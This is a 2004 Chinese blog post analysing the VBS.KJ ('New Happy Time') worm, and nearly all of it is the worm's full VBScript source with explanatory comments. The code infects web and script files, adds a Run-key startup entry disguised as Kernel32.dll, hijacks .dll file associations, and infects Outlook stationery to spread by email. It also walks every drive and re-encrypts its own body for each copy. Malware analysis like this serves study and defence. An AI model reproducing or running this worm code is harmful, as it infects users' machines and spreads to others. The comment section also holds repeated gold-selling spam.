DanceFire的专栏

天地不仁,以万物为刍狗

DanceFire
DanceFire的公告
最近评论
hqfmyway:出现过同样的问题,谢谢解惑!
phhwr85:非常感谢,正郁闷中!
herry0628:A gold website for wow gold and
buy wow gold sevise.
herry0628:A gold website for wow gold and
buy wow gold sevise.
herry0628:A gold website for wow gold and
buy wow gold sevise.
文章分类
收藏
    相册
    Unix家族族谱图
    编程语言家族族谱
    操作系统相关图片
    插图
    麒麟操作系统相关图片
    L4 微内核实现
    Fiasco - DROPS的底层微内核 (TU Dresden)
    L4Ka::Pistachio (UKa, UNSW)
    seL4 - Secure Embedded L4 (UNSW)
    L4 微内核研究组
    L4 总部
    UKa的L4研究组
    UNSW/NICTA的L4研究组
    L4 文档
    L4 X.2 API的用户手册(UNSW)
    L4-embedded 参考手册 N1 (UNSW)
    基于 L4 的操作系统
    Darwin在L4上的移植 - Darbat (UNSW)
    DROPS - 基于L4的嵌入式实时操作系统 (TU Dresden)
    GNU Hurd在L4上的移植
    Linux在L4上的移植 - L4Linux (TU Dresden)
    Linux在L4上的移植 - Wombat (UNSW)
    Mungi - Single Address Space OS based on L4 (UNSW)
    朋友
    Dancefire's website
    ralph623的专栏(RSS)
    sinboy的菜地(RSS)
    Sunwear(RSS)
    Xinsoft :应用之美,在于药到病除(RSS)
    吕震宇(RSS)
    强强专栏(RSS)
    旁观生活的BT(RSS)
    潇寒的Blog(RSS)
    龙真先生(RSS)
    存档
    软件项目交易
    订阅我的博客
    XML聚合  FeedSky
    订阅到鲜果
    订阅到Google
    订阅到抓虾
    订阅到BlogLines
    订阅到Yahoo
    订阅到GouGou
    订阅到飞鸽
    订阅到Rojo
    订阅到newsgator
    订阅到netvibes

    原创 VBS.KJ[新欢乐时光] - 源代码分析收藏

    新一篇: Regular Expression 正则表达式-1 (C#) | 旧一篇: using和Enviroment.NewLine

    VBS.KJ[新欢乐时光] - 源代码分析

    '   Virus:  VBS.KJ
    '   Analyze by dancefire (DanceFire@263.net)
    '   2002/7/10
    '

    Dim InWhere,HtmlText,VbsText,DegreeSign,AppleObject,FSO,WsShell,WinPath,SubE,FinalyDisk
    Sub KJ_start()
        '   初始化变量
     KJSetDim()
     '   初始化环境
     KJCreateMilieu()
     '   感染本地或者共享上与html所在目录
     KJLikeIt()
     '   通过vbs感染Outlook邮件模板
     KJCreateMail()
     '   进行病毒传播
     KJPropagate()
    End Sub

    '   函数:KJAppendTo(FilePath,TypeStr)
    '   功能:向指定类型的指定文件追加病毒
    '   参数:
    '       FilePath    指定文件路径
    '       TypeStr     指定类型
    Function KJAppendTo(FilePath,TypeStr)
     On Error Resume Next
     '   以只读方式打开指定文件
     Set ReadTemp = FSO.OpenTextFile(FilePath,1)
     '   将文件内容读入到TmpStr变量中
     TmpStr = ReadTemp.ReadAll
     '   判断文件中是否存在"KJ_start()"字符串,若存在说明已经感染,退出函数;
     '   若文件长度小于1,也退出函数。
     If Instr(TmpStr,"KJ_start()") <> 0 Or Len(TmpStr) < 1 Then
      ReadTemp.Close
      Exit Function
     End If
     '   如果传过来的类型是"htt"
     '       在文件头加上调用页面的时候加载KJ_start()函数;
     '       在文件尾追加html版本的加密病毒体。
     '   如果是"html"
     '       在文件尾追加调用页面的时候加载KJ_start()函数和html版本的病毒体;
     '   如果是"vbs"
     '       在文件尾追加vbs版本的病毒体
     If TypeStr = "htt" Then
      ReadTemp.Close
      Set FileTemp = FSO.OpenTextFile(FilePath,2)
      FileTemp.Write "<" & "BODY onload=""" & "vbscript:" & "KJ_start()""" & ">" & vbCrLf & TmpStr & vbCrLf & HtmlText
      FileTemp.Close
      Set FAttrib = FSO.GetFile(FilePath)
      FAttrib.attributes = 34
     Else
      ReadTemp.Close
      Set FileTemp = FSO.OpenTextFile(FilePath,8)
      If TypeStr = "html" Then
       FileTemp.Write vbCrLf & "<" & "HTML>" & vbCrLf & "<" & "BODY onload=""" & "vbscript:" & "KJ_start()""" & ">" & vbCrLf & HtmlText
      ElseIf TypeStr = "vbs" Then
       FileTemp.Write vbCrLf & VbsText
      End If
      FileTemp.Close
     End If
    End Function

    '   函数:KJChangeSub(CurrentString,LastIndexChar)
    '   功能:改变子目录以及盘符
    '   参数:
    '       CurrentString   当前目录
    '       LastIndexChar   上一级目录在当前路径中的位置
    Function KJChangeSub(CurrentString,LastIndexChar)
        '   判断是否是根目录
     If LastIndexChar = 0 Then
         '   如果是根目录
         '       如果是C:\,返回FinalyDisk盘,并将SubE置为0,
         '       如果不是C:\,返回将当前盘符递减1,并将SubE置为0
      If Left(LCase(CurrentString),1) =< LCase("c") Then
       KJChangeSub = FinalyDisk & ":\"
       SubE = 0
      Else
       KJChangeSub = Chr(Asc(Left(LCase(CurrentString),1)) - 1) & ":\"
       SubE = 0
      End If
     Else
         '   如果不是根目录,则返回上一级目录名称
      KJChangeSub = Mid(CurrentString,1,LastIndexChar)
     End If
    End Function

    '   函数:KJCreateMail()
    '   功能:感染邮件部分
    Function KJCreateMail()
     On Error Resume Next
     '   如果当前执行文件是"html"的,就退出函数
     If InWhere = "html" Then
      Exit Function
     End If
     '   取系统盘的空白页的路径
     ShareFile = Left(WinPath,3) & "Program Files\Common Files\Microsoft Shared\Stationery\blank.htm"
     '   如果存在这个文件,就向其追加html的病毒体
        '   否则生成含有病毒体的这个文件
     If (FSO.FileExists(ShareFile)) Then
      Call KJAppendTo(ShareFile,"html")
     Else
      Set FileTemp = FSO.OpenTextFile(ShareFile,2,true)
      FileTemp.Write "<" & "HTML>" & vbCrLf & "<" & "BODY onload=""" & "vbscript:" & "KJ_start()""" & ">" & vbCrLf & HtmlText
      FileTemp.Close
     End If
     '   取得当前用户的ID和OutLook的版本
     DefaultId = WsShell.RegRead("HKEY_CURRENT_USER\Identities\Default User ID")
     OutLookVersion = WsShell.RegRead("HKEY_LOCAL_MACHINE\Software\Microsoft\Outlook Express\MediaVer")
     '   激活信纸功能,并感染所有信纸
     WsShell.RegWrite "HKEY_CURRENT_USER\Identities\"&DefaultId&"\Software\Microsoft\Outlook Express\"& Left(OutLookVersion,1) &".0\Mail\Compose Use Stationery",1,"REG_DWORD"
     Call KJMailReg("HKEY_CURRENT_USER\Identities\"&DefaultId&"\Software\Microsoft\Outlook Express\"& Left(OutLookVersion,1) &".0\Mail\Stationery Name",ShareFile)
     Call KJMailReg("HKEY_CURRENT_USER\Identities\"&DefaultId&"\Software\Microsoft\Outlook Express\"& Left(OutLookVersion,1) &".0\Mail\Wide Stationery Name",ShareFile)
     WsShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Outlook\Options\Mail\EditorPreference",131072,"REG_DWORD"
     Call KJMailReg("HKEY_CURRENT_USER\Software\Microsoft\Windows Messaging Subsystem\Profiles\Microsoft Outlook Internet Settings\0a0d020000000000c000000000000046\001e0360","blank")
     Call KJMailReg("HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Microsoft Outlook Internet Settings\0a0d020000000000c000000000000046\001e0360","blank")
     WsShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Outlook\Options\Mail\EditorPreference",131072,"REG_DWORD"
     Call KJMailReg("HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Common\MailSettings\NewStationery","blank")
     KJummageFolder(Left(WinPath,3) & "Program Files\Common Files\Microsoft Shared\Stationery")
    End Function


    ' 函数:KJCreateMilieu()
    ' 功能:创建系统环境
    Function KJCreateMilieu()
     On Error Resume Next
     TempPath = ""
     ' 判断操作系统是NT/2000还是9X
     If Not(FSO.FileExists(WinPath & "WScript.exe")) Then
      TempPath = "system32\"
     End If
     ' 为了文件名起到迷惑性,并且不会与系统文件冲突。
     ' 如果是NT/2000则启动文件为system\Kernel32.dll
     ' 如果是9x启动文件则为system\Kernel.dll
     If TempPath = "system32\" Then
      StartUpFile = WinPath & "SYSTEM\Kernel32.dll"
     Else
      StartUpFile = WinPath & "SYSTEM\Kernel.dll"
     End If
     ' 添加Run值,添加刚才生成的启动文件路径
     WsShell.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Kernel32",StartUpFile
     '   拷贝前期备份的文件到原来的目录
     FSO.CopyFile WinPath & "web\kjwall.gif",WinPath & "web\Folder.htt"
     FSO.CopyFile WinPath & "system32\kjwall.gif",WinPath & "system32\desktop.ini"
        '   向%windir%\web\Folder.htt追加病毒体
     Call KJAppendTo(WinPath & "web\Folder.htt","htt")
     '   改变dll的MIME头
     '   改变dll的默认图标
     '   改变dll的打开方式
     WsShell.RegWrite "HKEY_CLASSES_ROOT\.dll\","dllfile"
     WsShell.RegWrite "HKEY_CLASSES_ROOT\.dll\Content Type","application/x-msdownload"
     WsShell.RegWrite "HKEY_CLASSES_ROOT\dllfile\DefaultIcon\",WsShell.RegRead("HKEY_CLASSES_ROOT\vxdfile\DefaultIcon\")
     WsShell.RegWrite "HKEY_CLASSES_ROOT\dllfile\ScriptEngine\","VBScript"
     WsShell.RegWrite "HKEY_CLASSES_ROOT\dllFile\Shell\Open\Command\",WinPath & TempPath & "WScript.exe ""%1"" %*"
     WsShell.RegWrite "HKEY_CLASSES_ROOT\dllFile\ShellEx\PropertySheetHandlers\WSHProps\","{60254CA5-953B-11CF-8C96-00AA00B8708C}"
     WsShell.RegWrite "HKEY_CLASSES_ROOT\dllFile\ScriptHostEncode\","{85131631-480C-11D2-B1F9-00C04F86C324}"
     '   启动时加载的病毒文件中写入病毒体
     Set FileTemp = FSO.OpenTextFile(StartUpFile,2,true)
     FileTemp.Write VbsText
     FileTemp.Close
    End Function

    '   函数:KJLikeIt()
    '   功能:针对html文件进行处理,如果访问的是本地的或者共享上的文件,将感染这个目录
    Function KJLikeIt()
        '   如果当前执行文件不是"html"的就退出程序
     If InWhere <> "html" Then
      Exit Function
     End If
     '   取得文档当前路径
     ThisLocation = document.location
     '   如果是本地或网上共享文件
     If Left(ThisLocation, 4) = "file" Then
      ThisLocation = Mid(ThisLocation,9)
      '   如果这个文件扩展名不为空,在ThisLocation中保存它的路径
      If FSO.GetExtensionName(ThisLocation) <> "" then
       ThisLocation = Left(ThisLocation,Len(ThisLocation) - Len(FSO.GetFileName(ThisLocation)))
      End If
      '   如果ThisLocation的长度大于3就尾追一个"\"
      If Len(ThisLocation) > 3 Then
       ThisLocation = ThisLocation & "\"
      End If
      '   感染这个目录
      KJummageFolder(ThisLocation)
     End If
    End Function

    '   函数:KJMailReg(RegStr,FileName)
    '   功能:如果注册表指定键值不存在,则向指定位置写入指定文件名
    '   参数:
    '       RegStr      注册表指定键值
    '       FileName    指定文件名
    Function KJMailReg(RegStr,FileName)
     On Error Resume Next
        '   如果注册表指定键值不存在,则向指定位置写入指定文件名
     RegTempStr = WsShell.RegRead(RegStr)
     If RegTempStr = "" Then
      WsShell.RegWrite RegStr,FileName
     End If
    End Function

    '   函数:KJOboSub(CurrentString)
    '   功能:遍历并返回目录路径
    '   参数:
    '       CurrentString   当前目录
    Function KJOboSub(CurrentString)
     SubE = 0
     TestOut = 0
     Do While True
      TestOut = TestOut + 1
      If TestOut > 28 Then
       CurrentString = FinalyDisk & ":\"
       Exit Do
      End If
      On Error Resume Next
      '   取得当前目录的所有子目录,并且放到字典中
      Set ThisFolder = FSO.GetFolder(CurrentString)
      Set DicSub = CreateObject("Scripting.Dictionary")
      Set Folders = ThisFolder.SubFolders
      FolderCount = 0
      For Each TempFolder in Folders
       FolderCount = FolderCount + 1
       DicSub.add FolderCount, TempFolder.Name
      Next
      '   如果没有子目录了,就调用KJChangeSub返回上一级目录或者更换盘符,并将SubE置1
      If DicSub.Count = 0 Then
       LastIndexChar = InstrRev(CurrentString,"\",Len(CurrentString)-1)
       SubString = Mid(CurrentString,LastIndexChar+1,Len(CurrentString)-LastIndexChar-1)
       CurrentString = KJChangeSub(CurrentString,LastIndexChar)
       SubE = 1
      Else
      '   如果存在子目录
      '       如果SubE为0,则将CurrentString变为它的第1个子目录
       If SubE = 0 Then
        CurrentString = CurrentString & DicSub.Item(1) & "\"
        Exit Do
       Else
      '       如果SubE为1,继续遍历子目录,并将下一个子目录返回
        j = 0
        For j = 1 To FolderCount
         If LCase(SubString) = LCase(DicSub.Item(j)) Then
          If j < FolderCount Then
           CurrentString = CurrentString & DicSub.Item(j+1) & "\"
           Exit Do
          End If
         End If
        Next
        LastIndexChar = InstrRev(CurrentString,"\",Len(CurrentString)-1)
        SubString = Mid(CurrentString,LastIndexChar+1,Len(CurrentString)-LastIndexChar-1)
        CurrentString = KJChangeSub(CurrentString,LastIndexChar)
       End If
      End If
     Loop
     KJOboSub = CurrentString
    End Function

    '   函数:KJPropagate()
    '   功能:病毒传播
    Function KJPropagate()
     On Error Resume Next
     RegPathValue = "HKEY_LOCAL_MACHINE\Software\Microsoft\Outlook Express\Degree"
     DiskDegree = WsShell.RegRead(RegPathValue)
     '   如果不存在Degree这个键值,DiskDegree则为FinalyDisk盘
     If DiskDegree = "" Then
      DiskDegree = FinalyDisk & ":\"
     End If
     '   继DiskDegree置后感染5个目录
     For i=1 to 5
      DiskDegree = KJOboSub(DiskDegree)
      KJummageFolder(DiskDegree)
     Next
     '   将感染记录保存在"HKEY_LOCAL_MACHINE\Software\Microsoft\Outlook Express\Degree"键值中
     WsShell.RegWrite RegPathValue,DiskDegree
    End Function

    '   函数:KJummageFolder(PathName)
    '   功能:感染指定目录
    '   参数:
    '       PathName    指定目录
    Function KJummageFolder(PathName)
     On Error Resume Next
     '   取得目录中的所有文件集
     Set FolderName = FSO.GetFolder(PathName)
     Set ThisFiles = FolderName.Files
     HttExists = 0
     For Each ThisFile In ThisFiles
      FileExt = UCase(FSO.GetExtensionName(ThisFile.Path))
      '   判断扩展名
      '       若是HTM,HTML,ASP,PHP,JSP则向文件中追加HTML版的病毒体
      '       若是VBS则向文件中追加VBS版的病毒体
      '       若是HTT,则标志为已经存在HTT了
      If FileExt = "HTM" Or FileExt = "HTML" Or FileExt = "ASP" Or FileExt = "PHP" Or FileExt = "JSP" Then
       Call KJAppendTo(ThisFile.Path,"html")
      ElseIf FileExt = "VBS" Then
       Call KJAppendTo(ThisFile.Path,"vbs")
      ElseIf FileExt = "HTT" Then
       HttExists = 1
      End If
     Next
     '   如果所给的路径是桌面,则标志为已经存在HTT了
     If (UCase(PathName) = UCase(WinPath & "Desktop\")) Or (UCase(PathName) = UCase(WinPath & "Desktop"))Then
      HttExists = 1
     End If
     '   如果不存在HTT
     '       向目录中追加病毒体
     If HttExists = 0 Then
      FSO.CopyFile WinPath & "system32\desktop.ini",PathName
      FSO.CopyFile WinPath & "web\Folder.htt",PathName
     End If
    End Function

    ' 函数KJSetDim()
    '  定义FSO,WsShell对象
    '  取得最后一个可用磁盘卷标
    '  生成传染用的加密字串
    '  备份系统中的web\folder.htt和system32\desktop.ini
    Function KJSetDim()
     On Error Resume Next
     Err.Clear

     ' 测试当前执行文件是html还是vbs
     TestIt = WScript.ScriptFullname
     If Err Then
      InWhere = "html"
     Else
      InWhere = "vbs"
     End If
     
     ' 创建文件访问对象和Shell对象
     If InWhere = "vbs" Then
      Set FSO = CreateObject("Scripting.FileSystemObject")
      Set WsShell = CreateObject("WScript.Shell")
     Else
      Set AppleObject = document.applets("KJ_guest")
      AppleObject.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}")
      AppleObject.createInstance()
      Set WsShell = AppleObject.GetObject()
      AppleObject.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}")
      AppleObject.createInstance()
      Set FSO = AppleObject.GetObject()
     End If
     Set DiskObject = FSO.Drives
     ' 判断磁盘类型
     '
     ' 0: Unknown
     ' 1: Removable
     ' 2: Fixed
     ' 3: Network
     ' 4: CD-ROM
     ' 5: RAM Disk
     ' 如果不是可移动磁盘或者固定磁盘就跳出循环。可能作者考虑的是网络磁盘、CD-ROM、RAM Disk都是在比较靠后的位置。呵呵,如果C:是RAMDISK会怎么样?
     For Each DiskTemp In DiskObject
      If DiskTemp.DriveType <> 2 And DiskTemp.DriveType <> 1 Then
       Exit For
      End If
      FinalyDisk = DiskTemp.DriveLetter
     Next
     
     ' 此前的这段病毒体已经解密,并且存放在ThisText中,现在为了传播,需要对它进行再加密。
     ' 加密算法
     Dim OtherArr(3)
     Randomize
     ' 随机生成4个算子
     For i=0 To 3
      OtherArr(i) = Int((9 * Rnd))
     Next
     TempString = ""
     For i=1 To Len(ThisText)
      TempNum = Asc(Mid(ThisText,i,1))
      '对回车、换行(0x0D,0x0A)做特别的处理
      If TempNum = 13 Then
       TempNum = 28
      ElseIf TempNum = 10 Then
       TempNum = 29
      End If
      '很简单的加密处理,每个字符减去相应的算子,那么在解密的时候只要按照这个顺序每个字符加上相应的算子就可以了。
      TempChar = Chr(TempNum - OtherArr(i Mod 4))
      If TempChar = Chr(34) Then
       TempChar = Chr(18)
      End If
      TempString = TempString & TempChar
     Next
     ' 含有解密算法的字串
     UnLockStr = "Execute(""Dim KeyArr(3),ThisText""&vbCrLf&""KeyArr(0) = " & OtherArr(0) & """&vbCrLf&""KeyArr(1) = " & OtherArr(1) & """&vbCrLf&""KeyArr(2) = " & OtherArr(2) & """&vbCrLf&""KeyArr(3) = " & OtherArr(3) & """&vbCrLf&""For i=1 To Len(ExeString)""&vbCrLf&""TempNum = Asc(Mid(ExeString,i,1))""&vbCrLf&""If TempNum = 18 Then""&vbCrLf&""TempNum = 34""&vbCrLf&""End If""&vbCrLf&""TempChar = Chr(TempNum + KeyArr(i Mod 4))""&vbCrLf&""If TempChar = Chr(28) Then""&vbCrLf&""TempChar = vbCr""&vbCrLf&""ElseIf TempChar = Chr(29) Then""&vbCrLf&""TempChar = vbLf""&vbCrLf&""End If""&vbCrLf&""ThisText = ThisText & TempChar""&vbCrLf&""Next"")" & vbCrLf & "Execute(ThisText)"
     ' 将加密好的病毒体复制给变量 ThisText
     ThisText = "ExeString = """ & TempString & """"
     ' 生成html感染用的脚本
     HtmlText ="<" & "script language=vbscript>" & vbCrLf & "document.write " & """" & "<" & "div style='position:absolute; left:0px; top:0px; width:0px; height:0px; z-index:28; visibility: hidden'>" & "<""&""" & "APPLET NAME=KJ""&""_guest HEIGHT=0 WIDTH=0 code=com.ms.""&""activeX.Active""&""XComponent>" & "<" & "/APPLET>" & "<" & "/div>""" & vbCrLf & "<" & "/script>" & vbCrLf & "<" & "script language=vbscript>" & vbCrLf & ThisText & vbCrLf & UnLockStr & vbCrLf & "<" & "/script>" & vbCrLf & "<" & "/BODY>" & vbCrLf & "<" & "/HTML>"
     ' 生成vbs感染用的脚本
     VbsText = ThisText & vbCrLf & UnLockStr & vbCrLf & "KJ_start()"
     ' 取得Windows目录
     ' GetSpecialFolder(n)
     '  0: WindowsFolder
     '  1: SystemFolder
     '  2: TemporaryFolder
     ' 如果系统目录存在web\Folder.htt和system32\desktop.ini,则用kjwall.gif文件名备份它们。
     WinPath = FSO.GetSpecialFolder(0) & "\"
     If (FSO.FileExists(WinPath & "web\Folder.htt")) Then
      FSO.CopyFile WinPath & "web\Folder.htt",WinPath & "web\kjwall.gif"
     End If
     If (FSO.FileExists(WinPath & "system32\desktop.ini")) Then
      FSO.CopyFile WinPath & "system32\desktop.ini",WinPath & "system32\kjwall.gif"
     End If
    End Function

    发表于 @ 2004年10月04日 20:43:00|评论(loading...)|编辑

    新一篇: Regular Expression 正则表达式-1 (C#) | 旧一篇: using和Enviroment.NewLine

    评论

    #cteng 发表于2006-05-21 22:03:00  IP: 218.94.38.*
    VBS.KJ为什么叫KJ?
    推荐可能是这个VBA程序员喜欢的女孩名字~~~(哈哈)

    PS
    这个代码最恶心的就是那段加密代码了(有二进制数据)
    #herry0628 发表于2008-07-14 12:13:14  IP: 220.178.42.*
    A gold website for wow gold and
    buy wow gold sevise.
    发表评论  


    当前用户设置只有注册用户才能发表评论。如果你没有登录,请点击登录
    Csdn Blog version 3.1a
    Copyright © DanceFire